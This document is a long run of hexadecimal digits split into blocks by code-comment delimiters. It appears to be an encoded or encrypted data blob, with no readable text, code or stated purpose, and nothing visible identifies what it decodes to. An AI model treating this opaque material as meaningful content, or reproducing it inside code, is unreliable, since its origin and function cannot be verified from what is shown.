bad28a34b9bbf5b5fd6a185e6ea5e5575ddfb999b6550d28497a1f33e11d545d481e167cbe575e6a674810f966fed6b69f39cf1140cdc2f38f824693d47c233453fc57313adcf504a27b3877f3abdcb601459e25b6a27b228756d551cae903128ae2d1aee5d6b3697b458f32bdd93b63e634a7efa75b899ae5881c7271e13d0cec1ae3534dd40be0e073390e505c42ea06790bbc9e8c6a8d3459e0008931a43ac5fb5fa205317ae3682e5333bf125a98f3f2e6055991a03f7b35a889e2bda970d9a1e06617807c33ccc58cd3b148a8c385c9ed4a03ba6edc60a12e7c64ccb7667bb8a761329ff2ee100436637535fe649168fc84f45a589a005cc1f381bd6f154e6ad730fda46ecd94649258fbdee61097244fec22fa4c9c41b56e834c07746f2b18e8b7ff0acea6e762254c7f0f2cab12e8029428adafadd1c8c4d12b2a11324eb4033d966138c30c7d734accdea22e8ab56061db2853ecc90a17c7ee7211652e393580cd07ad8f592b2e9f9514cf28e2960e8b7c2f87c51465cdcfc60f9bf213a544a1f2c5e6623d950cb5c52cda3e8e6bfd6c9ee6adbbb1f0b5bd603cbd3136f1287ca5b256e5419450d98a5e42ef7ec2eaf8412d205f71317eadf7c3aeed5f3cc3d05d350886f04a0c9e8a61d4e4c15d8d1f7a31b64eb7fce04c25cf173ee72d58dd9364bb2bf4d0f48f0b5d7ddf83c2605be15b9f75d6b9dc9408fc460038b49ab63550fcbd6c7e701cffb7bf67ee0f15f3b5bf774d84ccbfb4387e8da4e1f277397d757a231f197d9c150441cc3473198adf0015dad0c3235d93609dd1de8c3f5b10aeb69c19e4fad2779644fb2f7d496f7028d78a738082498fb7084f93ab9ce2226f74abdf2e64023d04740f0867ed8f4b4256e16a2b04a838a2b86f2f0b629f8a7446a9a438fbf2b349ff111886afa1c5dc6aef6ec4cce02a67f4dc909f4d4b09c0d2e9a0cd435456e0ed62143a667f22a59ffeda1dd4f396f87afba3a7d978d7f537ce442ca7969d6e687105273c6ad9b5e8077c124cb7461d632f79e0e3aa0a7e3ce22141515b0f4db1d955eb2b9962cc6c105b01703bf88d2da6fe103d11e8840eca875efa321efbb94eb5b65cfed3af4bc32d98200eb9bc60eaa6546e65d9510f4ff3d01c745ff2b0596f738b8389a8fbe05cb84e65bae339746c9a212c2f86765bebda150b1fab1e3a7bf68fefbf149c7a881f87fb6ce58e03b88933896317e2c985c30282b8ed4ccbab9450a712039ca1ee807302d2ccb3b9565b907410db6a716b1384f74264d7506bb78e47ef75f92d95a5584e4e9cb2be4f54d7f5a8ab21a3c2f658d7d6fdedf4a738af0e12d39b4f844fa6cb8f04825ed82d1ee3c72e6516ee57bb3fe2b9f6b2296a1f193a9673f9dea8044331bcae4868190e78465c85afbe4b96b063de3b989866b78fc097796d59272840a730a18312607c94fecfd8588c2320f364fbf63035e9ff7dce19beb45caa696ad54879af0d7609a1a3ad1ec0f8df81f0ba2ee799b2bdb7b9fdad261caa8717bfc75849509007984bdebf1b00671f40b9375deacdcad6cab458a5debdc0ff22076cbc3f1be22da2973483e8fcf1c54529c4ddc962eeadd9f674be22a8e01a9f1e7e45dd0c29292172e5ed22249cab3b80e71f434b3649d19d7466184e6a6b6c9a710b38f715e5b291afedd31a589df3d927b4b0a4e13b5b16583cd3dbf50acb5825ace074fd0154c6b3807255cb06978319a37cfb100be30000f191a8035990e2bca95db45bde8366909ef35f35df96b5d0810433f7e5b2ec2437b9dc5fd6d21bcdf181c048b253a5d51a779ef0d456f47571c2f48616f6378f23740ef8f93bd6522e0c11b51d98f04854ff6118cac5bea4bb258619e334c2f831a32c8dbc29aea77fabd948cf69714364d291360b33009bd7a79632a63f891292688518062655e158be739f846d04ddc329cf93f85c91e7e3821905d16c60de969b06e8e89947a224682f965eb3ec75efbc52a36a75f6f7d943667d4511bb18ecb529a8a92ba12c2ba038136a66cb0b029f8eff24030cd6acebfcc23652ecceecc607b9e839b8162511ca66a447811a33263d90b72735586957a38d2247dd7c1934b9320d757be0ef716b64ba83a92d4fee453f42bf3bcd8*/
/*a6e21fb206c68367ad93470d086144a65d6527677f365430157e3fa3f6e68b224894c82c87d4b2b748577f7f8479b92032a37c9e5ff8d5159cbf5ebbccf8273002ddfd3cdd4f2bff112d7f2c394ec0feb2e73a6081d48346ee0756f55a02ce3b5a9d6a9cc4412237436975989478d5d9dbb9bfd1b65a8d6c256aa3b824549af047d82d4d4dde9cba3cbca5d3ea326fd4c158c3224b2845d8777172f96f65e16607ac0126d3c2c68051e4550534670817107ac37223b797ea746d3e45c592cd8cafd408bc675e568a3abd22fdf89545805eeafa6c3b032be35be832e66553dd3f3bfd9c7130c77c58c8b7be1271730731e88f54836c7b9f79f35e01fa312bb86e72b6e2f3a8e0f80bea47fcf39088f79a99034288aa8ade39e7ef0567b86c603cecb9ea7b79a78603468c19a99c3fdbdfb48629373b7665ac1fd9a65d8c245193223d052a1fc5f9c6661df2af919847fd7dce87c361646c6910a9e6aa524040f5d408cdb121869d25f6a63f8cb7df306fe0137da24601bde30f10403fd5a6089ab5d27045be5846445969fe5caf8ac5ac41de44a324a02ab8e260d0796a798bdccb52b877774426ec16e66f3c5b55d4fe89b5a24bd27339b5ef75c0d81b999b5300a2616741ed592b38cf38334fa72ac555807ebe4fe013209519c3f9c0d499d6a881b1a765539fc5713f25998fb4f7a41b6fe9b93e1e4aa665b1b23badec2316182f8c4a3fe6246a46fbbeba2adeae0546bea66cb08c3d81adb5b319c05448641c046d5968244e03478c74ca0f138284b2ca387fd3bb6196e918676e7fbed09f74a266da918f8f5a9fabe008a7d610b14eff80ac37aeb1514dbac4430a25200b4dd3d4b4c2f0afacf0a8592e5ceaf1fd5d9a7277f11450c4390adc65545f819cd89dea5bf230d4cebec0b0a73a4344fc20c13aacd1e36c5302c9f0e4e7cb3986935912899ae25c2cbbd38dcd973acb0e0dadc9b34147a84fdd6454195ba7002d3df1f3a111eb634a6cf9b5794d10f240c1cb3b2c0b639c768001e78acc5c540f9b587aab69e14b994c912a642b0bbcb730b372523c692d0e971126e625442e509da0332291605f5536d0bdd7a8dd49dfc2309cb419c181d5083328dddf6cd62048153bbdfdeab715d1355429c2633b48cf06365afba6574eacbd34d7ac4d06a8ac0928cff7475ee7cbd6a420e22be1517e7bf72a22281a523f38188f80e7458ba3cb8dcfe261b8172583fe7fdd7f064ec75c0e83cb9f13c07dbc98c60ac99746dcb39816894254d45edec7c413681bba16287177f4cf2391ab0f694aaf7897c44bffc541e31074be074858e1cdd29efc0397e90760c1d076a2d6d11d0fca8c1f12b8b9e3cef5da2b691f61e08e093151dad93a33a9f86a414a239b36d2aafd3714416a93cd14ff8e920bcfb567c3bfab3a48754d1519e91813c2a3ecdabe5d3e7e7e33adb25566a6076e545fd67216443b187df8b35a42c49b4573afb0c1bb0f0ec426d411869125e8cf3b15a6a66098855e6def8d660fd77d1bc6fd77e407a9a48f27525f1844d366b3c3d1db52d159a8ed406d14e41b99d222c8b03c075e0ed030a1d4db75fc41ff55c5ea5261a8a3c90e420b425bce651210f195e3274052c10d73264301cf4cca1e3c2cd2c314421dbc70cc83de6c83a21bb9d20059e739459d2411cd960797bb4c76a82c4b7fb8c84ae2ea88fecaf38df008c3c1744f09e82fcac6a0739ab88d870ec3b7f327acb6272617c8f59b9a1d6edfd50340953f13000ec90f8e712bb6e1bd698e24bdd4c1dc3cd7fb765141fa5493d0197b16a283e2c838ac6940166147bf3fd50a7b581ccc80a6e5164208685b6e64df227e69cad47e04a7661c6720debddf5334b58935922d1f44148a56446a7a5887036678bdcca2075fa96071829efa49bb29ff3004f9dcfccc4e4e83d7b005582d6235dee1b4dc7df4cf64c2bafad2be080b57b0ae246b71d19a7d0804c382f68e73b9464ed8c00e74f8e001f63a75082f4913619ccc510d102dde3823fe3f961a099dd29efc40d54eddfead1fc87b2ee5d4851c5c2789ccd8ba646b41e1f1c15ad9b305aaee5f07158d01fcf5c0e2ab9e4a08970b5f9d95ac3885c4dace96e8311c2d13720f06d5e44408d88ae42a38373c005493fb813e41116969b2dabd3d86af339f08d6bb4a6ffbfe7f33fb7ccb62bf197aa3cd891397d40f8c02f99777d0eb83ab4cb2b1fe4252118dc7db1b1a802db98ba53ee75fa5e14df865f392aec6b4a58de4ea6a29e6f95dbc96dd501478da8818aac2fc2a3bc07ed0dc608650dbbf2fe4f4223d25b886aedbaea6e6dcb89b72c3fa66aa924d844765787affa084ccf118a50bc3fa66b2bc8fffa5f21a7fb67b563e789e7e57531bbae8819bea63101554d3c6d89d342d9aa5c5ea87e9c97410ac2d73cad5f92b4b1883ca02ca4511cd59763bb999ec871f8b353874a3bd5e23e46157360e8c4a635f6549c92c72f0a0b10868d16b56b89dcdcceeca41f9c742ca20b039e5fbd5d72e143f110062c9b1ca34ad6e8402404472f7ab9ce507f80051ff54a35fbf1fdcf74eaabf9554cc6bca5b7a704ecbe4961e766fa062dfa6d4427b72e78a82f13ef4e254c06f5954c6bbfd6a279e189fea80bc46f3cacc13fc9a4231d3cfeb465a2e4bd575df4c96a0677e8b870c7c9b97c55cbbf0bb427dad72f631957e6a8c5ba056134b7dd0afb575131b9b788c69b79a388bdba559c4aae055fe36711becfdb39e3efabcfe8207dd609e999f59020e1618257dce276185a75f094e875c28d3a4d6f1591a3899198f5ba23c1292887152359ce5b54d92daa7*/
/*92a9530541205876e752aa8ba02472fd0a8f1dc62fcd6b8ea3a52b224170bc8d46e48c97331fd7a835b4389e3f2afa9c5bef92dd646ec65d990914fbd792c253c4a4bc29fd4181f54c193664b04cb4e7d658f2c529ed8fb585e03c7e34f427ffc3502c1037bc71d2697b5b74b1551924ff2b36f57cc047e5f4026f8c58bcac65de58aac41a8799df21fb41a7274264a6603eda09b85b926571fe2c4d5ae528a9af7871aab7daf07ec16a1a8df4004820ed4c0bb15f98635ed498cda87db64d1b09b374434866275eb3ad02ff08f875144608dbcea505f7fba9c52afd3be90c8ce3f0baee243fdb379e04f5e6990a3a72d68daf0dbd917c9ac30df517dab1301f3575e3d2e50057f67e696d9cdcdcc7b409d692c43844c05af8789ffb5177daedb570498f712b47035d88d6ae79b47b99c936823069490783abcdd7e9eef1ed316d94974ad64c0e67f7539f6130e4de6c86ffcbf858465491637bf59f4dc09044bf52c3622e1615d5c658419836d6a2c0444d339da09a4d322cfc3378c2939ab27a9e457fc2208492145c30d5685fdd0e546a6bf06f2ffa5296f1b964b9ee235d1bf27bab91863a7e634310b365d13434f0ed303e3dd8d80d7274c5d8f5526f1cc550b85267e19fde126d3ce9c48939345ada2f63af16a15d209d6990d1f67c4539549d66d8179e063342054ab39d553b1c1789a33aae2dca4c52e08bdb004714f5761c7dc24db30a7f8cb090d515fc072c65224543be7f2b8a2c7357e833b2b60ed610dd0ca5206b9061242dca88dd35637810ad8191b585f9a0e3b18b99d5a4ad9e74bea097a7e2dd9457dc8e1e7535e9f864deb2ec02c27051dd820b4977b2c2f3014f281f91567d209bc0cfba6cc9f479b634f2df71b26140f1beccd6ca77ac99d505bc2ec7ec7c4db05a19ae222750c8f687e0ba8b2c171ffa2724b92a81b604f53eae8057132e4ae2a38c487506d91bbb834d8a549c35435ea709485407acce6e362028028ba5f91eaab0e95ad6ae5386daf7fbaafcd0e95be1c09e2556a09c6fb714fbf3fa7ab4f8fa1dd92ebdd6bd2356f79dd61fb99362f8fa608b4cb5299d6b8a3ed4e94b89c0440b513213fc3fe5c06d7f7880c4d3f1203e8a6e74ec24734d59a35dc861628c954ddeb102098c7cb01e29c694947fe69aa93e70e3fda20e6e1f91cb74e003b13899f0c1647f5c87c48d31c0e72247db45d567131c2f4a0e11d56b087a2bc192ecdb0cbd3e5dcbaf7a49bcc4b08bf64b0ea293cf0e7f06675e561030dab69a54d5077723e5326c580546e19951ebe99e31bf41c2dedab1ca1840899c106f79bfeef16a88d42c140e561bb5282d2dced11d295b38f86186d7c46cdeda05b807c704e2610de95ea5723efa2368ded3f40153e2a5e44203e652ae48f2d6f17ec1118bbd06341f6175a59ca3289f293cf17aa4da219fabf5ea8ac711365d1a19804c78129429c9960cfc13d63c2736ef01c2e910008a4f5ef919a7f9af63788d87827d727c72190458277992fb53e737d6c99cbbfad22adcb48c5a8aa34a98f5585bc73ed70b3b6cf1b8b020ac6244c716be10dc51c3d28dd2ae6cb4ed7f6af6f9d7a2be84d9e4feb814cf196d43fdc89e936a883e3ad5615f873af8eb3173522019bcc54c5d62fe5e534b9d2b91e8ca9c2c198b477bef868d0dd935711c09ab07deb2f23fe9467ba786b5e5c03f4f858761d8e2e6abd4fa797c60b23cd5f2fbf4dd65ddf9b3be927c94b957a73e11e6f4b49aefb441a80657385e682c558d3867b98b58959ab32832ff154e6583c2ebea5e3e37bd4cfce2d834506ff37dcc838483ef1507c9a7ecb7faba93bf594feb69e95ba185642de5d0b39f284f0e9a87929183dc5a963feff512a2e4a8588a90d6f108415c6eca448ecb2b6a23609a148e8b72b2ce9d5e060fe3daabc003f87d2afe22e64afc7e62df67964f4ca30903fb294d04826ffa2a7f60da956125123c8af345eda7e5e9b2ddac574c1432f0780305cf7173f45d213795cef0f605e8ecdea956fdf0e281641baf96369e65ccebf5bc14ebf7e47fe6e45da7a82c79b5d4bdfba5b7eab4cce5579d5851212c0096dc466b624259a955b6e2e373c1f5c603a31e272895175182710d004bb59af1121c7045fd998cd30d7571fce7804e365e250c5b6c1d55761cb5ceb26831982379a660592a90db0802072606f7c9b9768d255eaf67e9bbb7e191021d27139a5a20bb85e445a2d50dbdd0e491a246554f74d8256403480906a2d8406828b68cc0ffffca6a12084f13e2c96b02c35b3a18962ac61d20d522f3beee5fd3a39e27d36626f73da1a1e6f5cadd6a23d51463a89e77ca6b49d5932566655bc1dd86668ab2e1a8194bf07fc5b700f4289b7615cda2b0ae1bade00c0c3f5c7b09cd9b57620969c5114cbdd5626d5d007d5afc022e21b05604cfe42c81ba80ad4e56e60dbe2a345314e4813f4f752de557a52c21a0d7345674f97d86cb2a469624437eea5435c66d656db781c6012f49b43b177996e5672a45a4ab553ff7ffd240b01d9d612e1c40e8aa63970a8ff5cc5f9c6bf3ce1e8909d813b3df7e3afe5f090c87c07129c59dffb59afed363b8a6b604ec3967c1876fdfc7a4ac4c19beebb0e8d85dfaf253103b77feebe1122c3e7cff73515ff7d528e65669a5d0d677fbadc919a5cd0061c992f38a03193b05b9f560f7e83c5ab5b9adc65794e3b45b4a7b553692a3604fbcbed8933a9d62a2b471754c63d3039ac8da57122b4c25d698d10715c9a02be04a12027d7045fd2a94f410a2ce43392f47d70f240f890ad828f490e93f6df85449b6f0ab415d*/
/*0079d182f0b333d77bc48585e3129dd843872fef1f47f3cf7aa67eda7af9c68f0c333e05e0a5ad918c0e8b974eb888dc4af328a0489aa48dd45063315fafda905c5da94f70081b5ab1ab26a4faa290930438e1decb3bb43dda4084011e2c5c0fb2a52650fd5335a13161e5759630adec6326993ea8aa5a05e3ad3cf75368c0f928f41eaae2517569e74ab757c65a51b90fa75f57e60957b1eef6283051d6b75643cd80265063b553d080abd1fc16562b9e139f34903400dcd5de70be4e1246fdb3c2b44ec58b3d49680394973d726744adb83f4e47de8ec8d85107376c79745cc3bfb08a2b7becf859a3f9e2a1dac1f9ed63abf97d80e404e3abe64a15a1adab6c0329d974acafe459991374df2b3b3e562fbc270548af0fe080453a852cf0114c40adf38f474086fbb5d248820c73205a39ab32c90cc7b85df7fd2a20aab33e1d3c9b794a50d1cd0b3cb9a0b8c4a90850866c5e1fd4ca223e6451e40687b8074099692ea25e14c07bd57c48055c6560c8cd444c2588491910740769c3f196161cecf54a7b7e3b7348caec121637876638245ea031e703f95be27016db2910673faa8d820b56e21762d87d2c906ebc07a2e87af141f8324cdf6ea4775313077acd39b4469e1d0fe343469c71f49349a8641072600cbce22068c1ec9fa0bb2346a6287d0a1a511dab40f634c414257193749086caf0f6a54d20d79d62b966646042ef74cf9365c65611316938b718b6a3a0730fd7910929fc2337becea5e62bc7fcb69e2fe0f538290de5f8f3157e94b28b48e8c3b15c0a4985e90d916bd8dfe85aeb6ab7995ced0ccff0c6d04b22106b50a11b85a24caa8ebcc21a1043df0cecec064960644ac7cb9f3c078b89142779405954d7dfc3e9de8a9bf019e1cb1bbdfd5b64fa593c77fb0f291ea844d4fe6b283aa90c236d78e64cfe995d93175e9e4fee113cf7a1bf5fa85920dd8623feabc71aa932eb48d3d0539997166cbf6483c3d8de1ade8189bd660bb62d4a972a2b463d6adb037886e917720774bcf792a6a05eb64cc16a29c01978c6a0726132b7a07a3b97db0568f0ed5565032ce233c7180c88e589b7beea6a58d61fb26a99502bda7b2dc100935e63d71b56836018ab5f71141d4836ff6b91dc01962647dd04489ceab3291e0d8b2ee7485b8f6bd651dacf3ae03840aeae7f1200b958018a04153ebd416bb98f86862329765722c9fc3c22367b33f3264e28eaeac86ad3349064e90e4c96afcece7a4d6750b48d6e24ea02c30fa70ce64d3fe90ae93713ea427b616f2b56288bc74cbe0669add4f20ba080a47a6349924d6c280f099ced0f3c96442fcec082615b99a44585a7d87b3818a6e8976bdb01268f13e970138b57366de9a3e65841e0f4d54e9b70c4f9779d2b5e5ba8adaca47e91605cf7ff1defd61c584ac33bb3f2f7e70fdeee61a436aad30cba23799f887b2110000d4efaa4207f2231e99c8b50d36ab50420fb9b310af5017d02e23de4c225e72a2764288593011196e367df3ca092d8b42ac6ff330baf0fa01418ec8256043b6e4f9b0ea90d0300b308b7180e224a5957688b125bafb9fba01d014264246bf2c34d674c4f3f427d54128166f29d264144bf6e2dc3f51eb457f683e24bc4723df7622b0c1ce1e126be13368f97ce019f4f5e99b705912df74d18a3b4fb1653e27e42e9b1eccc1cd4d49e8ee22b24bf36f9b98f47a40dfdbe635bfc84aa1a53c143618acf344d4c5f325b0747f0a0696fb085a62272edb60bff2d39fc6e668960b7af6ab9f6b146ba400095c368b3b3b5a9dd822327519a28a6e19ec6a603d92934ed3539d97dfaa28daa7c00b81978eccaec03a7c857f03f12ba735ab03ad08797627e7ac3f52cc33873199b71ce2a991f39034646cb037ad2b81fbcd813f389de28171b99b00ae11391ad595759dc4d4ceb1c6a0306351b276315678a41cef95eebe2830d72ddcab5535f15a207641f286aaf2623349a1b743482d03183f0966b4fae9597828570bf09849b790f56d176cd65b9c495786e6e608f2a5450f71e6b2416ec3275860d50af1b11a1bbd76f990923cd00d93b41ff541ebc41db79a60affdbe0d655bcedffc0db5009c89847411d777af41538b6b446e4cebbe7b1f4f69eafc3880019647b8cdacd70c0d4ab99d28584a955a665b82ea7cdb61d7c723d507582d617e1e4c392f9df8d87862c1fed0e655063e94569b54c966f25534a4e89aa8e5cd4f409fd6b76dc8078694a0894ca1665eafc2909734ddcf7c02f6e52693e95f9faf23e5528bda1c473759948e4fdd5bc608a8943413b155844ef37105185faeef4f048a005512267e15c9e94ce4f11ec07ca7492cac7547ecd8f3b753d1918b966b141e8a4f7bb7712d7c5b3bd5127f7e014284e202b481a74baf49705e82c9ab34da77ab8d88b867d6f4644d8c2351120e35ea2a20b15667889b51d1c7fe5857f1e79839db4427c5b82e3e3c2187f38a803b49a505ac40476ae03010739bff284de40e99aec13b4e78b72c66e9c86cd901ab745df9edceebe419af2b636968bcf03235b972379a23d512f83824e8d1d7969d6d21d4232651105c312c8708ee4e568266b3c898a0ffb9179861895693a9719db44beb18cd70e97376c375f2fa1d9e96e4bf51427176d29ee513fa3ec16a70f7a9071fb39d2b0399fde41cb5e6dba5843f4ec76a4e8941dc3eb34953d0e5be0ac7f3e248ef29b56194db7f8a61d0202468238e551dbc3563dbca22ff4457e68842fd2aed82c84fbdf14542028efb59c76f9baa46fbccce998cc2baaba94861a4939342d3321d8914112596f794610*/
/*44d0df719a696683bccd12e343fde4b30fa799b6d1686961186b84536f329d41735a0135a6760eb4f2acff52095f2e373f8dab3616cb88d3a4a8c096c9af0a986cdba195b82c54179fecaefea5f15f00acdce4305a837fc144a5b841291dc8bab7536624ba01059886a760e9693d939a34cbe554457c0438476f3030f0f2987efac09abfab7edc5d1499ed3381690986b8a85ee34af9500afec2800dbb7c771af5dbd3e64979883aebf39c0ba674961ba42567b2097d179e1c2563eb95513e99daa5d739ed318dd8f143be26c9e75e8212b84dbfc9690d4254560757961935fc8833eec04383d3b8068fb3da27683ced14d137cdcc3bbaab03e8b128e5ddfbfee80aa4682d45592d78cc3aecdd8b6f53ebcca245b55ae6ab51549edc16d8ccbcff504df15e48a0913c9d0b9ce05b987e7b9784bb96aa2955d5c9a9b74a73e0f8c72ea9a2c0726ee6bc709ba56f6ea2debd62d3b7e90f334075a017b4b0d44b21db93b690cbdf61a73307dfafc547a0fa953257fd3ad02ac593fb3c23fdf2de4a3d1d7f3f94b0b960b94f0b9a63d62d9c31b9b99ca833ff1f315455b1668d6d992cd8066e5eb0a3344503c5d4323ca5dbe417206fd1fcda9c2a766b6e45e643bb89a1ed174328a24d9fee4c1b11c4fc73e084fb7cc20e311de55f57bb5c8cd1cef293d65956a31ed21eb6c00137e203a785b9fc8e1a1e4ba4104b524163ffc1818f54354ebaa2aea5cdac887846660af293947756d67377284139537a69d14e03c319c889d3e4ef4154a0f01de26235f09bff9ebb57c58b22f273a5d8441b85ad8ba862cd7b492ce4f75455c55205ddaadd651d87c3eb75867383109c12ac3553f5872babde798c3d5c7ddd877ad0a396087db0f40224d8bed3810676ceeb011f483b505b9931077847296266079702145f60fb983a26c38083d20b3de2d0d5b5b9dd6748674b476be3486842b2603e10d97e05bd489ed9493f550cf6c64f96ae3540e93969390eb8c1f2fa0751dd848267267868b1d14f81f093511b1715e21ec51fdfbf8dc6598a53554e5c869abfe5080bfc3be99eb38a45fec0d5b9d44f1b75d7015d665ac741e5caf1dbe7261008b1c1082dd24cbbbac134584f77a5ce69d16c76829d45f4497933354435011819bdd6e441fcd1bd26d70423e8e1d9ea8712d395740e4d87089f66197d5ec482c8a36eb0d374372e3f005f3f55a6768231e73aa9cc21704ee569841ae844aaecdb439674720b30e15b9624f1f91653c5acefde3caea848395c400a27a6a6d43f7ba0216afcc6f7c957c0e902f789e7570cf4334784f5c78b2e7187f649ac9a28df227586ee8b098dcf5af0016a855e240181c607aa0788366ccbf8faabbe488f53c8ce4cae9e2124c467dd28ee0704c6b46ec8455586a9d99558ea4a78a01d263036d499e3bdb8fbe8b59fbc9fe3a045530eb6d81f0c1bdf30b63962dd625c0e9258356244edc9b724cf42ac78c29c13d6f313b24bd24b905d0aebb359ba676b06dc533c60a62f67b3bc43505d0e53de0eb05fb7380f90a5ee0aa60bf729072a028a2b461c4acaaecdb767726043332bca1c85fa5ccfae6823135c625b18266ca3decf73a0bad3c44cc705673781e105a8097f07f0ab5e92bfc243a3f1f439393232bc3416a5f228dcf0b8a26b054a8117f8f3eb6276664f0630072ffe926fcecadf295608228f077ecd3b60a89920b31856875da37da1c52ae674bc29b4f3c4d183f802172f90eebda0775b030c56e5f1d04c789bd165995d459d97747080d7793f71b14eda20cc70420dbca4e39fd35f32675021a419d72d61b4a833627a2ee029d975fde66b665db7e1f7ed1e1ad679333e73a172b2be1781861ecb60a63681fa2b6c9f404ed6412a2734a670d64df3db7a34afafbe64e2d4e568901069c7ce1c6bafbc03a5154f1e4229866cbc8a856b730dee5cc078a703ff6d0a4e8fbef34c08ab2b7cd5c9c8cfbbb25c879cccd811ff315e1d6bf1aec671111844d5633c86ea837dc83c14f3d678d3027c7b9abceed601fed3dd4eea8ae078f051d7b0a2414cef73b352ca4888d78d90bbd694efbbf4d98d614f39e5de53da448368b13a3d7332fd70cddbcc8e764dbfb1a78d4089b4f94b6dd66e34d299ee26a078b4a4e4a1c5f713384e969485b1b15912c905555556c890707bfe93c135bdd9e51151f469cfafd937458044fc95bb3b6f43eda82f8af8e06d2dc88aef3c6e6d49c673abdfee7b89189bf510bd040a6620fca4b2b33226059ee66c7376b021519bd4a4d1d3c8d9aa2ab9961f7069d8452756b811c03fa70d5c2b110745324f271e5b8962abd9693608ddba49dd982b0e1e6232116a2f2d5e34511294fbe14609dd068c3ac9270e79a695a5489e47c5f656886dc30602aa91c874829d1725f59c53303a0724246918d1722d98c54ecb378ddeceab519bd4f1669beffe48249a5d4194c00d87e8701dd22c7a1975d87c800650b1da4fcef05004d90dc88bd80f739f5dee7fa95f60eb1d9981faa2e0fe6ae6dfa1a64df863d3a03788bc52923ec95433e7a6ebe2eee83a7575ded85acead32ef695334e5d75e8a7d943d6e0d6dc480f902d4e8288ed6bc702ae84584bbda54f994585d00a7204d05e297565fed427279c426c3ff9999f88ab4900936cc420653fe38fa85997709b4461fc097e71eaa7811e991625d80f3777207885f9c18ce6af9dbf57d87ceb1d003858fce150799557b74d48ffba1138ba9904a75f662e7defa821597a9cddf5f6f495090379b296edb4c0b532e76b419430f8499c15c27bf8cb443ff890b50439d58afa5a2301d3f02*/
/*5ce1d5799df3236edda304539c019e602798b0750cfa29766470f768ab413baa78c1c1ad70a5d544d995b7bcf1b3b4e57a7f52870c8aa87b3c0acd8fdcb03f47d12ef53c3987f729fe6a870270812489a47e9e9e5f15712425724ef4b8966116d0ffd63f86a186a435719a1bf2b4a817d0ea3edd014affba8a12a883289cbc236da514d7720b57bc7c3fcd4c246c92ecd58ec29a2ad85ee718538727c03f07ec14707bd3e84e9ec5284d60c512606b71b8bf2d85b99cf3224dd810462142d73006bc7b600a158c6b18050eefa5b61ee72138343b9cf01f14c07e77862ee14d2964c6e065988ab7543700d2b187891f8915106da3a1634bb71162d9a8b3dae62890834eaa8e91ef41ae84794bdac5b37222f7bba05835c1ee54cbba9c662ae24c076dcd4ee7bde044622eb63c7a03d7bca49411dae7d8a4af6d10aabf196b011deb97fc2aee1ca37adf752be2dac8443f64f2871ac71e3bdbbbaa2ad8f95d77abb985e518d7ce2548ac5ed21b939a5a0bdb86b0f0d0d3b718e3335f111a622eb5cae24c89dbf259d219ce6d18369c9a959f19b34a109ee0f66ee11b800f9757021f15b3c1fe1374876e9cc44b822d768e3bb1781fdd0a7e205f644c56012800d6687d43d786a6dc10687f3414f737252db9d7e54c834538df8fa757a09e0d1ee53ed61ccbcc42b276e725a66e733215367747cfa9cfe41bb256b9cabf7b369698f2473fe410cebc6a6c90660f3058e5bea1cfde275e12d29109417eebb47ec67d7fdcab5fb1970c6c8f0432c3ac00d30e4e7d2acf14bd71006ec4403a5ea0359de7eac3ca15a3c1f06f58b55aa70632c4f87b109c92285a461170ca4fb68af27536f377bc9db2ff527debf29a802eac18028e7a1ec0ad1dd4b83f5d894912f15446c0335d2fccd581805179f5a0108a280e2f37a41d9e7cdb2c8bcfcf71d37febb8ef2ca6d98233066c185799b51a09e82d2d2753afa3ea92a52cdb02ff077b0ed32f816d465bbd60f5bc0232fcfac8e3d16c32b9dadb21f4afda9361ea756fef7fdaeae339b34a9df897ecb404cd4be447da0d458cbcf2f6061df90f41322bfb75d1a36e68bf061bee9e61e1adf8587ed3f4d4eb2cfc892e6fa8c8ddf67699c965ab526221e76b61d7e6c7875a505c92d84991ed1e2302075e7ebd77d2d5b99bbe8c0e0673367e69ba016763ae3a05ed15b7145af1a46f90b273401e03ec192e54e4085647b16f0f829e591c7655ef7ae7940d251aba8642c61f7e219fcaee845e7febaf5f3adfe7782a4141e540c211a0271ab720bcfb3f3ff4c070e520c030ad21287c73ca7a91a377798cfa8b669897978393cccf208d976f45ed27df406e5789dd395dbe7c266b976cc525eb9146f2e337b083c00a1cf357955e5b7713098da4e1f24dedf7840391fb3e649fe3a315d3e2e7c4ebe1f200dd0102f468f8e731fbc92b5dbf20ee2366620772cbb11d5e1f428deb46a98c065f06bfdabf1a2b07a8d329700166cd109d4928c67e0e8d557295f7cc4214321457e79af82e160b864bf206cf412f6a4ff49c493bbe7ec6c83509502648be3834f2511d89333506466acfbd26199b56a6e489ba2e54edc311df9d82321cd4e978abcf203f0fab5fa0b7433d11b4f35f638f0220bfb2964ab03c9536a6e325b3aacc6baeb5ef434f1493fe3c477e8caab86c5f1b7a6b6fa3caac444a2ab19de8d2453f3665469912adb96e084c58bc0ea79cb58d867f7033c2a97c0bf4a81566fa05d78b5d2eca5f0d8b3760709e15f30b0218bc63311956032dd850ed4a4e37416b545fc226bee5ca16521ae8d9966a11a2c95cc950532a9fb71a40b230e713cb7fdbd3aab3ebb3d119c9a442deb07bbf94f13ef25e11b37a36d7c8a0246f70c1e14746207e83bf6cd83615ffde14296c001000d62760cc3fcf68bc941baf111692de5c4f895d3ca7cb0b6e6cb31fdf57b76854982b9922752d2f168f76f4eb140d493d74cb1bfe8fb44555c636a0442c075c0072d91663d0388e2e4958b417fb886cd993a1b827d59195edb506b0c22bf15271c988c12584023f0a78d9bea354394c4dfe4db252aad5bd94fb4751fef770b2d91e6ea35b2fbe70f48a61878f088abac7804ba73ee35c379c24439418c64645db7a5b208c891535046ff49de185e49165243cdbcfaac56f7f2406d3bec1bc84b41bd84e7612fd9d0d92e357c8872166e47b3cf963edcfe7e37048519aa2033641997c00f8f7b828384bf23c88324a606c60cda7cd7869876da2b2db1382f4bb91d519671196371071a64be11ff93e7b772246ceee293f27b39b9d3a44c773d6721d58127047c0e9ae7576ba54f9eb6df5c7a9b47b16fe41bdef5e86c6f74f5a7f391e6bf4ee36ad11f9a925b12efec09ceecbb822161bf9e57f39771938f741c3a04b8f1abea63083e8e5496980af32568d4291d2a243520b4c3cfb1e5bc2b3cbcb67011587cd8101ee73b7c57280b10a48be957b901a4d4486de3bdddfed6e3ec208339c266d78d16b975663a358bfaad29bbef424c99de9977e35512f05ec6ecf9caa592bdbe592549ba0fa041d4a27ca28b925881a36d3f4426892bf857c3fb63da13d4f60a0586c9fab1c87c5c8afef5fefe991c9fb2db2047496c0254a0163010b85ce0d98e910deae99f515bf9c5e570ab900c072005cde79c8336d3fc966e26fa0930b0c4865fbb3b7b49cf0ef1731ce8c21deaf49dac404b0b075330fa5c8994a88cef129a66fdaa2de89f28f25fee582aeeb048159208f0b